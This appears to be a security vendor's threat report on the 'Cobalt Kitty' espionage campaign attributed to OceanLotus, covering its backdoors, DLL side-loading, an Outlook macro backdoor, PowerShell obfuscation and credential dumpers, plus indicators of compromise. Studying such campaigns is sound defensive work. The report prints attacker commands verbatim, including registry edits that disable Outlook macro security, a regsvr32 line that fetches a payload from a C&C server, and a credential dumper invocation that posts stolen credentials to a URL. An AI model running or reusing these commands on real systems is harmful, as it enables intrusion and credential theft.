very “noisy” in terms of the unusual amount of DNS packets required to exfiltrate data such as
files and documents.
Example of the network traffic generated by the backdoor

The destination IP is Google’s 8.8.8.8 DNS server, and the DNS packet contain the real domain
in the query field. The data sent to the server comes in the form of a base64-encoded string,
which is appended as a subdomain:
Second backdoor: “Goopy”
The adversaries introduced another backdoor during the second stage of the attack. We named
it “Goopy”, since the backdoor’s vessel is a fake goopdate.dll file, which was dropped together
with a legitimate GoogleUpdate.exe application which is vulnerable to DLL hijacking and
placed the two files under a unique folder in APPDATA:
C:\users\xxxxxxxx\appdata\local\google\update\download\{GUID}\
Seven unique samples of the “Goopy” backdoor were recovered by Cybereason:

File name SHA-1
goopdate.dll 9afe0ac621c00829f960d06c16a3e556cd0de249
973b1ca8661be6651114edf29b10b31db4e218f7
1c503a44ed9a28aad1fa3227dc1e0556bbe79919
2e29e61620f2b5c2fd31c4eb812c84e57f20214a
c7b190119cec8c96b7e36b7c2cc90773cffd81fd
185b7db0fec0236dff53e45b9c2a446e627b4c6a
ef0f9aaf16ab65e4518296c77ee54e1178787e21
The attackers used a legitimate and signed GoogleUpdate.exe application that is vulnerable
to DLL hijacking vulnerability:
GoogleUpdate.exe, SHA-1: d30e8c7543adbc801d675068530b57d75cabb13f,
GoogleUpdate’s DLL hijacking vulnerability was previously reported to already in 2014, since
other malware have been exploiting this vulnerability. Most notable ones are the notorious
PlugX and the CryptoLuck ransomware.
*** Following responsible disclosure, this vulnerability was reported to Google on April 2,
2017.
Analysis of Goopy
From features perspective, Goopy shows great similarities to the Denis backdoor. At the same
time, code analysis of the two backdoor clearly shows substantial differences between the two.
The coding style and other static features suggest that they were compiled (and possibly
authored) by the same threat actor. One of the more interesting features of Goopy is that it

seems specifically designed to exploit a “DLL Hijacking” vulnerability against Google Update
(googleupdate.exe) using a fake goopdate.dll module. There may be other versions targeting
other applications, but the ones Cybereason obtained, specifically contained code that
specifically targeted GoogleUpdate. The Goopy backdoor was dropped and launched by the
Denis backdoor. The machines infected with Goopy had already been infected by the Denis
backdoor. Generally, it is not very common to see multiple backdoors from the same threat
actors residing on the same compromised machines. Nonetheless, this pattern was observed
on multiple machines throughout the attack.
Following are the most notable features that distinguish Goopy from Denis:
● Unusually large files (30MB to 55MB) - Compared to the Denis backdoor, which
ranges between 300KB and 1.7MB. This is quite unusual. The goopdate.dll files are
inflated with null characters, most probably to bypass security solutions that don’t inspect
large files.
In addition, the Goopy backdoor has a lot of junk code interlaced with real functions - to
make analysis harder. One example is in a giant subroutine that contains more than
5600 nodes, containing many anti-debugging / anti-disassembly tricks, including infinite
loops:
● Specifically tailored to target GoogleUpdate - The Goopy payloads contain a hard-

coded verification made to ensure that the backdoor is loaded and executed by
GoogleUpdate. If the check fails, the backdoor will terminate the googleupdate process
and exit. By comparison, The Denis backdoor loader is more “naive”, since it doesn’t
check from which process the backdoor is executed, thus making it also more flexible,
since it can exploit DLL hijacking on any given vulnerable application:

● Stealthier and more advanced - Unlike the Denis backdoor, goopdate.dll shows
significant signs of post-compilation modification. The code section of this PE is
extremely interesting and unusual, and demonstrates the potential of a very powerful
code-generation engine underlying it. The backdoor’s code and data are well protected
and are decrypted at runtime, using a complex polymorphic decryptor. The polymorphic
decryptor is comprised of thousands of lines that are interlaced with junk API calls and
nonsense code in order to thwart analysis. Here’s an example:

● HTTP Communication - Unlike the Denis backdoor, Goopy was observed
communicating over HTTP (port 80 and 443), in addition to its DNS-based C2 channel:
DNS resolution of the C&C server IP:
Example of HTTP usage, as observed using Wireshark to log the network traffic
generated by Goopy:

● Different DNS tunneling implementation - Unlike the main backdoor, this variant
implements a different algorithm for the C2 communication over DNS tunneling and also
used DNS TXT records. In addition, most of the samples communicated directly with the
C&C servers over DNS, unlike the Denis backdoor that comes pre-configured with
Google and OpenDNS as their intermediary DNS servers:
● Different Mutex creation routine - The mutex creation routine exhibited in “Goopy” is
different from the main backdoor, which is made out of a pseudo-random generated
value that is appended to the user name:

As opposed to the Denis’ mutex pattern, which has a pseudo-random generated value
appended to the user name, the mutex format is different and contains neither curly brackets
nor dashes:
● Persistence - While Denis uses Window’s Wsearch Service for persistence, Goopy
uses also scheduled tasks to ensure that the backdoor is running. The scheduled task
runs every hour. If the backdoor’s mutex is detected, the newly run process will exit.

DLL side loading against legitimate applications
The attackers used DLL side loading, a well-known technique for evading detection that uses
legitimate applications to run malicious payloads. In Cobalt Kitty, the attackers used DLL side
loading against software from Kaspersky, Microsoft and Google. The hackers likely picked these
programs since they’re from reputed vendors, making users unlikely to question the processes
these programs run and decreasing the chances that analysts will scrutinize them. For example,
the attackers used the following legitimate Avpia.exe binary:
SHA-1: 691686839681adb345728806889925dc4eddb74e

They dropped the legitimate avpia.exe along with a fake DLL “product_info.dll” into
PROGRAMDATA:
SHA-1: 3cf4b44c9470fb5bd0c16996c4b2a338502a7517
The payload found in the fake product_info.dll communicates with domain and IP that was
previously used in the attack in to drop Cobalt Strike payloads:

Outlook backdoor macro
During the third phase of the attack, the attackers introduced a new way to communicate with
their C&C servers: an Outlook macro that serves as a backdoor. This backdoor is very unique
and was not documented before to be used in APTs. The only references that come close to
that type of Outlook backdoor are theoretical papers by the NSA (unclassified paper from 2000)
as well as a research paper presented by a group of security researchers in 2011.
The attackers replaced Outlook’s original VbaProject.OTM file, which contains Outlook’s
macros, with a malicious macro that serves as the backdoor. The backdoor receives commands
from a Gmail address operated by the threat actor, executes them on the compromised
machines and sends the requested information to the attacker’s Gmail account.
This technique was observed only on a handful of compromised machines that belonged to top-
level management and were already compromised by at least one other backdoor.
Before the attackers deployed the macro-based backdoor, they had to take care of two things:
1. Creating persistence
The attackers modified specific registry values to create persistence:
REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Office\14\Outlook" /v
"LoadMacroProviderOnBoot" /f /t REG_DWORD /d 1
2. Disabling Outlook’s security policies

To do that, the attackers modified Outlook’s security settings to enable the macro to
run without prompting any warnings to the users:
REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Office\14\Outlook\Security"

/v "Level" /f /t REG_DWORD /d 1
Finally, the attackers replaced the existing VbaProject.OTM with the fake macro:
/u /c cd c:\programdata\& copy VbaProject.OTM
C:\Users\[REDACTED]\AppData\Roaming\Microsoft\Outlook
VbaProject.OTM, SHA-1:320e25629327e0e8946f3ea7c2a747ebd37fe26f
The backdoor macro

Once installed and executed, the macro performed these actions:
1. Search for new instructions - The macro will loop through the contents of Outlook’s inbox
and searches for the strings “$$cpte” and “$$ecpte” inside an email’s body. These two strings
mark the start and end of the strings the attackers are sending.
The “beauty” of using these markers is that the attackers don’t need to embed their email
addresses in the macro code, and can change as many addresses as they want. They only
need to include the start-end markers:
2. Write the message to temp file - When the macro finds an email whose content matches
the strings, the message body is copied to %temp%\msgbody.txt :
3. Delete the email - The backdoor authors were keen to dispose of the evidence quickly to
avoid raising any suspicions from the victims. Once the email content is copied, the macro
deletes the email from the inbox:

4. Then the msgbody is parsed and the string between the start-end markers is passed as a
command to cmd.exe:
5. Acknowledgement - After the command is executed, the macro will send an

acknowledgment email to the attackers’ Gmail account (“OK!”), which it will obtain from the
deleted items folder. Then it will delete the email from the sent items folder.
6. Exfiltrate data - The macro will send the requested data back to the attackers as an
attachment, after it obtains the address from the deleted items folder.
This unique data exfiltration technique was detected by Cybereason:

Analysis of the commands sent by the attackers showed that they were mainly interested in:
1. Proprietary information - They attempted to exfiltrate sensitive documents from the
targeted departments that contained trade secrets and other proprietary information.
2. Reconnaissance - The attackers kept collecting information about the compromised
machine as well as the network using commands like: ipconfig, netstat and net user.
Cobalt Strike
Cobalt Strike is a well-known, commercial offensive security framework that is popular among
security professionals and is mainly used for security assessments and penetration testing.
However, illegal use of this framework has been reported in the past in the context of advanced
persistent threats (APTs). Cobalt Strike is also one of the main links of this APT to the
OceanLotus group. This group is particularly known for using Cobalt Strike in its different APT
campaigns throughout Asia.
The adversaries extensively used this framework during this attack, particularly during the first
and fourth stages. Cobalt Strike’s Beacon was the main tool used in the attack, as shown in the
following screenshot, which shows memory strings of one of the payloads used in the attack
(ed074a1609616fdb56b40d3059ff4bebe729e436):

The attackers also used a range of other Cobalt Strike and Metasploit tools such as loaders and
stagers, especially during the fileless first stage of the operation, which relied mainly on Cobalt
Strike’s PowerShell payloads.
COM Scriptlets (.sct payloads)

In phases one and two, the attackers used PowerShell scripts to download COM Scriptlets
containing malicious code that ultimately used to download a Cobalt Strike beacon. An almost
identical usage of this technique (and even payload names) was seen in other APTs carried out
by the OceanLotus group. This technique is very well documented and has gained popularity in
recent attacks, especially because it’s effectiveness in bypassing Window’s Application
Whitelisting. For further details about this technique, please refer to:
http://subt0x10.blogspot.jp/2016/04/setting-up-homestead-in-enterprise-with.html
http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-
pentesting.html
http://subt0x10.blogspot.co.il/2016/04/bypass-application-whitelisting-script.html
In the screenshot below, an injected rundll32.exe process spawns a cmd.exe process that
launches regsvr32.exe in order to download a file from the C&C server.

The command line of the regsvr32.exe process is:
regsvr32 /s /n /u /i:hxxp://108.170.31.69:80/a scrobj.dll
Additional examples of payloads observed in the attack using COM scriplets:

hxxp://108.170.31.69/a –
02aa9ad73e794bd139fdb46a9dc3c79f4ff91476
hxxp://images.verginnet.info:80/ppap.png -
f0a0fb4e005dd5982af5cfd64d32c43df79e1402
hxxp://support(.)chatconnecting.com/pic.png -
f3e27ad08622060fa7a3cc1c7ea83a7885560899
The downloaded file appears to be a COM Scriptlets (.sct):
These COM Scriptlets serve two main purposes:

1. Bypass Window’s Application Whitelisting security mechanism.
2. Download additional payloads from the C&C server (mostly beacon).
The COM scriptlet contains a VB macro with an obfuscated payload:
After decoding the encoded part, it can be clearly seen that the payload uses Windows APIs
that are indicative of process injection. In addition, it is possible to see that the attackers aimed
to evade detection by “renaming” process injection-related functions and also adding spaces to
break signature patterns:
In addition, the decoded code contains contains a suspicious looking array (shellcode) as well
as the process injection function to Rundll32.exe:

The decoded shellcode is similar to other downloader payloads observed in this attack, whose
purpose is to download and execute Cobalt Strike Beacon payload:

Obfuscation and evasion
Don’t-Kill-My-Cat
Most of the PowerShell payloads seen in the attack were wrapped and obfuscated using a
framework called Don’t-Kill-My-Cat (DKMC) that is found on GitHub. This framework generates
payloads especially designed to evade antivirus solutions. The unique strings used by this
framework perfectly match the malicious payloads that were collected during the attack, as
demonstrated below:
DKMC’s source code:

https://github.com/Mr-Un1k0d3r/DKMC/blob/master/core/util/exec-sc.ps1
The same framework was previously observed in PowerShell payloads of the OceanLotus
Group, as can be seen in a screenshot taken from a previous report:

Examples of Don’t-Kill-My-Cat used in Cobalt Kitty
Example 1: Cobalt Strike Beacon payload found in ProgramData
File: C:\ProgramData\syscheck\syscheck.ps1
SHA-1: 7657769F767CD021438FCCE96A6BEFAF3BB2BA2D
Example 2: Cobalt Strike Beacon payload from C&C server

SHA-1: 6dc7bd14b93a647ebb1d2eccb752e750c4ab6b09
Invoke-obfuscation (PowerShell Obfuscator)

In the fourth phase of the attack, the attackers changed their PowerShell obfuscation framework
and used a new tool called “Invoke-Obfuscation”, which is written by Daniel Bohannon and
available on GitHub. This tool was recently observed being used by the OceanLotus Group in
APTs in Vietnam.
The attackers used it to obfuscate their new PowerShell payloads, which consisted mainly of
Cobalt Strike Beacon, Mimikatz and a custom-built credential dumper. Below is an example of a
PowerShell payload of a custom credential dumper that was obfuscated with “Invoke-
Obfuscation”:

PowerShell bypass tool (PSUnlock)
During the attack’s fourth phase, the attackers attempted to revive the PowerShell infrastructure
that was shut down during the attack’s first phase.
To restore the ability to use Cobalt Strike and other PowerShell-based tools, the attackers used
a slightly customized version of a tool called PSunlock, which is available on GitHub. The tool
provides a way to bypass Windows Group Policies preventing PowerShell execution, and
execute PowerShell scripts without running PowerShell.exe.
Two different payloads of this tool were observed on the compromised machines:
52852C5E478CC656D8C4E1917E356940768E7184 - pshdll35.dll
EDD5D8622E491DFA2AF50FE9191E788CC9B9AF89 - pshdll40.dll
The metadata of the file clearly shows that these files are linked to the PSUnlock project:

Examples of usage
The attackers changed the original (.exe) file to a .dll file and launched it with Rundll32.exe,
passing the desired PowerShell script as an argument using the “-f” flag:
RUNDLL32 C:\ProgramData\PShdll35.dll,main -f C:\ProgramData\nvidia.db
The script actually contains a Cobalt Strike Beacon payload, as shown in the screenshot below,
containing the beacon’s indicative strings:

Credential dumpers
The attackers used at least four different kinds of credential dumping tools. Some were custom-
built for this operation and others were simply obfuscated to evade detection.
The main credential dumpers were:

1. Mimikatz
2. GetPassword_x64
3. Custom Windows Credential Dumper
4. Customized HookChangePassword
Mimikatz
Benjamin Delpy’s Mimikatz is one of the most popular credential dumping and post-exploitation
tools. It was definitely among the threat actor’s favorite tools: it played a major role in helping
harvest credentials and carry out lateral movement. The attackers successfully uploaded and
executed at least 14 unique Mimikatz payloads, wrapped and obfuscated using different tools.
The following types of Mimikatz payloads were the the most used types:
1. Packed Mimikatz binaries (using custom and known packers)
2. PowerSploit’s “Invoke-Mimikatz.ps1”
3. Mimikatz obfuscated with subTee's PELoader
While most antivirus vendors would detect the official Mimikatz binaries right away, it is still very
easy to bypass the antivirus detection using different packers or obfuscators.
During the attack’s first and second phases, the adversaries mainly used the packed binaries of
Mimikatz as well as the PowerSploit’s “Invoke-Mimikatz.ps1.” As a result, it was very easy to
detect Mimikatz usage just by looking for indicative command line arguments, as demonstrated
here:

However, during the third and fourth phases of the attack, the attackers attempted to
improve their “stealth”, and started using Malwaria’s PELoader Mimikatz:
The “system.exe” binary is based on Malwaria’s PELoader, which is written using the .NET
framework and is fairly easy to decompile. It’s stealthier because it dynamically loads Mimikatz’s
binary from the resources section of the PE, and then passes the relevant arguments internally,
without leaving traces in the process command line arguments:

Examining the the resources section, one can see a large base64-encoded section:
After decoding it, we can see the MZ header - indicating that indeed a PE file was hidden inside
the resources section:

Similar to the original file, this file is also a .NET application, so it was easy to decompile:
Examining the resources section shows the base64 embedded file:
After decoding the base64 section, we see that it is another PE file, which is the original
Mimikatz payload taken from GitHub:

GetPassword_x64
GetPassword_x64 is a known, publicly available password dumping tool by the K8Team.
It was one of the tools used by Chinese “Emissary Panda” group, also known as “Threat Group-
3390 (TG-3390)” in Operation Iron Tiger, as reported by TrendMicro.
It is interesting to notice that this tool’s hash, was the one out of the two hashes that were
known to threat intelligence engines at the time of the attack:
log.exe 7f812da330a617400cb2ff41028c859181fe663f
[GetPassword_x64]
It’s even more interesting to see that even in 2017, almost three years after it was first uploaded
to VirusTotal, and two years after the same tool has been reported being used in an APT, it still
has a very low detection rate and it is misclassified as adware or Mimikatz:
Below is a screenshot of the tool’s output, dumping local users’ passwords:

Custom “HookPasswordChange”
In an attempt to remain persistent on the network, the attackers introduced a new tool that alerts
them if a compromised account password was changed. The attackers borrowed the idea and a
lot of the code from a known publicly available tool called “HookPasswordChange”, which was
inspired by a previous work done by “carnal0wnage”. The original tool hooks Windows
“PasswordChangeNotify” in Windows’ default password filter (rassfm.dll). By doing so, every
time this function is called, it will be redirected to the malicious PasswordChangeNotify function,
which in turn will copy the changed password to a file and then return the execution back to the
original PasswordChangeNotify function, allowing the password to be changed.
The observed payloads are:
SRCHUI.dll - 29BD1BAC25F753693DF2DDF70B83F0E183D9550D
Adrclients.dll - FC92EAC99460FA6F1A40D5A4ACD1B7C3C6647642
As can be seen, the internal names of the DLL files is “Password.exe”.

The exported functions of the malicious DLLs include the malicious code to hook rassfm.dll’s
password change functions:
Following are strings extracted from the malicious binaries, indicating the hooking of rassfm.dll’s
PasswordChangeNotify functions:
However, the code was not taken as is. The attackers made quite a few modifications, most of
them are “cosmetic”, like changing functions names and logging strings, as well as adding
functionality to suit their needs.
Custom Outlook credential dumper

The attackers showed particular interest in obtaining the Outlook passwords of their victims. To
do so, they wrote a custom credential dumper in PowerShell that focused on Outlook. Analysis
of the code clearly shows that the attackers borrowed code from a known Windows credential
dumper and modified it to fit their needs.
The payloads used are the following PowerShell scripts:
C:\ProgramData\doutlook.ps1 -
EBDD6059DA1ABD97E03D37BA001BAD4AA6BCBABD

C:\ProgramData\adobe.dat - B769FE81996CBF7666F916D741373C9C55C71F15
Since PowerShell execution was disabled at this stage of the attack, they attackers executed
the PowerShell script via a tool called PSUnlock that enabled them to bypass PowerShell
execution restrictions. This was done as follows:
rundll32 PShdll35.dll,main -f doutlook.ps1
The dumped strings of the Rundll32 process teach us two important things:
1. The attackers wrote a binary tool and then ported it to PowerShell, using PowerSploit’s
“Invoke-ReflectivePEInjection”.
2. The attackers preconfigured the tools to write the output to ProgramData folder, where
they hid most of their tools
Doutlook.ps1:
(0x2f815f0 (194): Invoke-ReflectivePEInjection -PEBytes $RawPEFile -ExeArgs '-o
c:\programdata\log.txt' -ForceASLR
Example of the output of the the PowerShell script shows the direct intent to obtain Outlook
passwords:

The tool is designed to recover Outlook passwords stored in Windows registry:
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging
Subsystem\Profiles
HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook
This technique is well known and was used in different tools such as SecurityXploded’s:
http://securityxploded.com/outlookpasswordsecrets.php
http://securityxploded.com/outlook-password-dump.php
In addition, they also used borrowed code from Oxid’s Windows Vault Password Dumper,
written by Massimiliano Montoro, as can be clearly seen in the dumped strings from memory:

The original code from Oxid’s Windows Vault Password Dumper matches the strings found in
memory:
Custom Windows credential dumper

The attackers wrote a custom Windows credential dumper, which is a patchwork of two known
dumping tools along with their own code. This password dumper borrows much of its code from
Oxid’s Windows Vault Password Dumper as well as Oxid’s creddump project.
The observed payloads are:

Adrclients.ps1 - 6609A347932A11FA4C305817A78638E07F04B09F
KB471623.exe - 6609A347932A11FA4C305817A78638E07F04B09F
The PowerShell version reveals the command-line arguments that the attackers need to supply
the program:
Invoke-ReflectivePEInjection -PEBytes $RawPEFile -ExeArgs '/s http://example.com/q= /l
C:\programdata\log.txt /d C:\programdata\adrclients.dll' -ForceASLR}
● URL - to post the dumped credentials in GET parameters

● Log file - log all dumped credentials in a file called “log.txt” created in programdata
● DLL - to load HookPasswordChange payload
This above command line arguments do not appear in the code of the two aforementioned
Oxid’s projects. It was added by the attackers in order to include exfiltration over HTTP along
with the ability to combine the HookPasswordChange functionality.
Example of strings found in the binaries of the custom credential dumper:
Modified NetCat
The attackers used a customized version of the famous “Netcat” aka, tcp/ip "Swiss
Army knife", which was taken from GitHub. The tool was executed on very few machines,
and was uploaded to the compromised machines by the backdoor (goopdate.dll):

File names: kb74891.exe, kb-10233.exe
SHA-1 Hash: c5e19c02a9a1362c67ea87c1e049ce9056425788
The attackers named the executable “kb-10233.exe”, masquerading as a Windows
update file. Netcat is usually detected by most of security products as a hacktool.
however, this version is only detected by one antivirus vendor, and this is most likely the
reason the attackers chose to use it.
https://virustotal.com/en/file/bf01148b2a428bf6edff570c1bbfbf51a342ff7844ceccaf22c0
e09347d59a54/analysis/
Custom IP check tool

The attackers used an unknown tool, whose purpose is simply to check the external IP
of the compromised machine:

It’s interesting that the attackers renamed the executable twice from ip.exe to
dllhost.exe or cmd.exe, probably to make it appear less suspicious by giving it
common Windows executables names:
c:\programdata\dllhost.exe - 6aec53554f93c61f4e3977747328b8e2b1283af2
c:\programdata\cmd.exe - 6aec53554f93c61f4e3977747328b8e2b1283af2
c:\programdata\ip.exe - 6aec53554f93c61f4e3977747328b8e2b1283af2
The IP tool was deployed by the attackers in the attack’s second phase. The product
name “WindowsFormsApplication1”, strongly suggests that the tool was written using
Microsoft’s .NET framework:
The code is very short and straight-forward and clearly reveals the tool’s purpose:
checking the external IP of the compromised machine using the well-known IP service
ipinfo.io.

Threat Actor Profile &
Indicators of Compromise
By: Assaf Dahan

Attribution
In this APT, the threat actor was very aware of the risks of exposure and tried to combat
attribution as much as possible. This is often the case in this type of large-scale cyber
espionage operations. At the time of the attack, there weren’t many classic indicators of
compromise (IOCs) that could lead to attribution. However, at the same time, the threat actors
behind Operation Cobalt Kitty left enough “behavioral fingerprints” to suspect the involvement of
the OceanLotus Group (which also goes by the names APT-C-00, SeaLotus and APT32),
which was first documented by Qihoo 360's SkyEye Labs in 2015 and further researched by
other security companies, including FireEye’s report. Reports of the group’s activity in Asia date
back to 2012, attacking Chinese entities. Over the years, the group was observed attacking a
wide spectrum of targets in other Asian countries (Philippines and Vietnam). Cybereason
concludes that the tactics, techniques and procedures (TTPs) observed throughout operation
Cobalt Kitty are consistent with the group’s previous APT campaigns in Asia.
The Lotus Group appears to have a tendency of using similar and even identical names for their
payloads (seen in their PowerShell payloads, Denis backdoor and fake Flash installers). In
addition, they also used similar anonymization services for their domains repeatedly. That type
of “small” details also played a role in attributing Operation Cobalt Kitty to the OceanLotus
Group.
Lastly, during the investigation, Cybereason noticed that some of the C&C domains and IPs
started to emerge on VirusTotal and other threat intelligence engines, with payloads that were
not observed during Cobalt Kitty. This was a cutting proof that Cobalt Kitty was not an isolated
APT, but part of something bigger. Example of the C&C domains and IPs used by the group
across different APT campaigns and caught in the wild:
*.chatconnecting(.)com teriava(.)com 23.227.196(.)210

blog.versign(.)com tonholding(.)com 104.237.218(.)72
vieweva(.)com nsquery(.)net 45.114.117(.)137
tulationeva(.)com notificeva(.)com
Some of these domains were also mentioned in FireEye’s APT32 report, further confirming our
suspicions that the group behind the attack is the OceanLotus Group.
The group includes members who are fluent in at least two Asian languages. This claim is
supported by the language used in the spear-phishing emails, which appear to be written by
native speakers. In addition, the language localization settings found in few of the payloads
suggest that the malware authors compiled the payloads on machines with Asian languages

support. The threat actors are not likely native English speakers since multiple typos were found
in their payloads.
For example, the following typo was observed in the file metadata of one of the backdoors.
Notice the “Internal Name” field (“Geogle Update”):
Threat Actor Profile

The attackers behind Operation Cobalt Kitty were extremely persistent. Even when their
campaign was exposed, the attackers did not give up. They took “pauses” that lasted between
48 hours and four weeks and used the downtime to learn from their “mistakes” and develop
workarounds before resuming the APT campaign.
The members of the OceanLotus Group demonstrated a remarkable ability to quickly adapt,
introduce new tools and fine tune existing ones to bypass security solutions and avoid detection.
The high number of payloads and the elaborate C2 infrastructure used in this attack can be
indicative of the resources that the attackers had at their disposal. Simultaneously orchestrating
multiple APT campaigns of such magnitude and sophistication takes time, financial resources
and a large team who can support it.
Threat actor’s main characteristics

Here are the main characteristics that can help profile the threat actor:
● Motivation - Based on the nature of the attack, the proprietary information that the
attackers were after and the high-profile personnel who were targeted, Cybereason
concluded the main motivation behind the attack was cyber espionage. The attacker
sought after specific documents and type of information. This is consistent with previous
reports about the group’s activity show that the group has a very wide range of targets,
spanning from government agencies, media, business sector, and more.

● Operational working hours - Most of the malicious activity was mostly done around
normal business hours (8AM-8PM). Very little active hacking activity was detected
during weekends. The attackers showed a slight tendency to carry out hacking
operations towards the afternoon and evening time. These observations can suggest the
following:
○ Time zone(s) proximity.
○ An institutionalized threat actor (possibly nation-state)
● Outlook backdoor and data exfiltration - One of the most interesting tools introduced
by the attackers was the Outlook backdoor, which used Outlook as a C2 channel. This
backdoor has not been publicly documented and is one of the most unique TTPs with
regards to the threat actor. Outlook backdoors are not a new concept and have been
observed in different APTs in the past. However, this specific type of Outlook backdoor
is can be considered as one of the “signature tools” of the OceanLotus Group.
● Publicly available tools - The attackers showed a clear preference to use publicly
available hacking tools and frameworks. Beyond being spared the hassle of creating a
new tool, it is much harder to attribute a tool that can be used by anyone rather than a
custom-made tool. However, the attackers should not be considered script-kiddies. Most
of the publicly available tools were either obfuscated, modified and even merged with
other tools to evade antivirus detection. This type of customization requires good coding
skills and understanding of how those tools work.
● Cobalt Strike usage in APT - Cobalt Strike is a commercial offensive security

framework designed to simulate complex attacks and is mainly used by security
professionals in security audits and penetration testing. The OceanLotus Group was
previously documented using Cobalt Strike as one of its main tools. Other Large scale
APTs using Cobalt Strike have been reported before, such as APT-TOCS (could be
related to OceanLotus), Ordinaff, Carbanak Group, and the Cobalt Group.
● Custom-built backdoors - The threat actor used very sophisticated and stealthy
backdoors (Denis & Goopy) that were written by highly skilled malware authors. During
the attack, the authors introduced new variants of these backdoors, indicating “on-the-
fly” development capabilities. Developing such state-of-the-art backdoors requires skillful
malware authors, time and resources. In addition, both the Denis and Goopy backdoors
used DNS Tunneling for C2 communication. The OceanLotus Group is known to have a
backdoor dubbed SOUNDBITE by FireEye that use this stealthy technique. However, no
public analysis reports of SOUNDBITE is available to the time of writing this report.
● Exploiting DLL hijacking in trusted applications - The attackers exploited three DLL-
hijacking vulnerabilities in legitimate applications from trusted vendors: Microsoft,
Google and Kaspersky. This further indicates the group’s emphasis on vulnerability
research. DLL-hijacking / Side-loading attacks are not uncommon in APTs, some of
which are also carried out by nation-state actors and advanced cyber-crime groups.
There have been reports in the past of GoogleUpdate exploited by PlugX by Chinese
threat actors as well as the Bookworm RAT exploiting Microsoft and Kaspersky
applications in APTs targeting Asia.
● Insisting on fileless operation - While fileless delivery infrastructure is not a feature

that can be attributed to one specific group, it is still worth mentioning since the attackers
went out of their way to restore the script-based PowerShell / Visual Basic operation,
especially after PowerShell execution had been disabled in the entire organization.
● C&C infrastructure
○ Divide and conquer - Each tool communicated with different sets of C&C
servers domains, which usually came in triads. For instance, Cobalt strike
payloads communicated with certain sets of IPs/domains while the backdoors
communicated with different sets of IPs/domains.
○ Re-use of domains and IPs across campaigns - Quite a few domains and IPs
that were observed in Operation Cobalt Kitty were found in-the-wild, attacking
other targets. It’s rather peculiar why the threat actor re-used the same domains
and IPs. It could be assumed that the malware operators wanted to have
centralized C&C servers per tool or tools, where they could monitor all of their
campaigns from dedicated servers.
○ Anonymous DNS records - Most of the domains point to companies that
provide DNS data privacy and anonymization, such as PrivacyProtect and
PrivacyGuardian.
○ C&C server protection - Most of the C&C servers IP addresses are protected
by CloudFlare and SECURED SERVERS LLC.
OceanLotus Group activity in Asia

As part of the analysis of the domains and IPs that were used in this operation, Cybereason
found samples that were caught “in-the-wild” (that were not part of Operation Cobalt Kitty).
Analysis of those samples clearly indicates the involvement of the threat actor in Asia and
Vietnam in particular. Both Qihoo 360 and FireEye demonstrate in their reports that the threat
actor is involved in campaigns in different Asian countries, such as Vietnam, China, and the
Philippines.
Most of the samples caught in-the-wild seem to target Vietnamese speakers. Some of the
samples exhibit clear evidence of targeting Vietnamese entities. This conclusion is derived from
the file names and file contents that are written in Vietnamese, as shown in the examples below:
File Name: Điện thoại bị cháy.doc

SHA-1: 38297392df481d2ecf00cc7f05ce3361bd575b04
Malicious Domain / IP: 193.169.245(.)137

File Name: ID2016.doc
SHA-1: bfb3ca77d95d4f34982509380f2f146f63aa41bc
Malicious Domain / IP: support.chatconnecting(.)com
File Name: Giấy yêu cầu bồi thường mới 2016 - Hằng.doc (Translation: “New Claim Form 2016”)
SHA-1: A5bddb5b10d673cbfe9b16a062ac78c9aa75b61c
Malicious Domain / IP: blog.versign(.)info

Indicators of Compromise (IOCs)
Malicious files
Backdoors
File name SHA-1 hash
Msfte.dll be6342fc2f33d8380e0ee5531592e9f676bb1f94
------------- 638b7b0536217c8923e856f4138d9caff7eb309d
Variant of dcbe007ac5684793ea34bf27fdaa2952c4e84d12
Backdoor.Win32.Denis 43b85c5387aafb91aea599782622eb9d0b5b151f
Goopdate.dll 9afe0ac621c00829f960d06c16a3e556cd0de249
----------------- 973b1ca8661be6651114edf29b10b31db4e218f7
Goopy backdoor 1c503a44ed9a28aad1fa3227dc1e0556bbe79919
2e29e61620f2b5c2fd31c4eb812c84e57f20214a
c7b190119cec8c96b7e36b7c2cc90773cffd81fd
185b7db0fec0236dff53e45b9c2a446e627b4c6a
ef0f9aaf16ab65e4518296c77ee54e1178787e21
product_info.dll 3cf4b44c9470fb5bd0c16996c4b2a338502a7517
[Backdoor exploiting DLL-hijacking
against Kaspersky Avpia]
VbaProject.OTM 320e25629327e0e8946f3ea7c2a747ebd37fe26f
[Outlook Macro]
sunjavascheduler.ps1 0d3a33cb848499a9404d099f8238a6a0e0a4b471
sndVolSSO.ps1 c219a1ac5b4fd6d20a61bb5fdf68f65bbd40b453
91e9465532ef967c93b1ef04b7a906aa533a370e
SCVHost.ps1
fhsvcs.ps1
Goztp.ps1
[PowerShell versions of the Denis

/ Goopy backdoors]
Cobalt Strike Beacons

dns.exe cd675977bf235eac49db60f6572be0d4051b9c07
msfte.dll 2f8e5f81a8ca94ec36380272e36a22e326aa40a4
FVEAPI.dll 01197697e554021af1ce7e980a5950a5fcf88318
sunjavascheduler.ps1 7657769f767cd021438fcce96a6befaf3bb2ba2d
syscheck.ps1 Ed074a1609616fdb56b40d3059ff4bebe729e436
dns.ps1 D667701804CA05BB536B80337A33D0714EA28129
activator.ps1 F45A41D30F9574C41FE0A27CB121A667295268B2
7F4C28639355B0B6244EADBC8943E373344B2E7E
nvidia.db
Malicious Word Documents

***Some of the phishing emails and Word documents were very targeted and
personalized, therefore, they are not listed here for privacy reasons
CV.doc [redacted]
Complaint letter.doc
License Agreement.doc
Loader scripts
syscheck.vbs 62749484f7a6b4142a2b5d54f589a950483dfcc9
SndVolSSO.txt cb3a982e15ae382c0f6bdacc0fcecf3a9d4a068d

sunjavascheduler.txt 7a02a835016bc630aa9e20bc4bc0967715459daa
Obfuscated / customized Mimikatz
dllhosts.exe 5a31342e8e33e2bbe17f182f2f2b508edb20933f
23c466c465ad09f0ebeca007121f73e5b630ecf6
14FDEF1F5469EB7B67EB9186AA0C30AFAF77A07C
KB571372.ps1 7CADFB90E36FA3100AF45AC6F37DC55828FC084A
KB647152.exe 7BA6BFEA546D0FC8469C09D8F84D30AB0F20A129
KB647164.exe BDCADEAE92C7C662D771507D78689D4B62D897F9
kb412345.exe e0aaa10bf812a17bb615637bf670c785bca34096
kb681234.exe 4bd060270da3b9666f5886cf4eeaef3164fad438
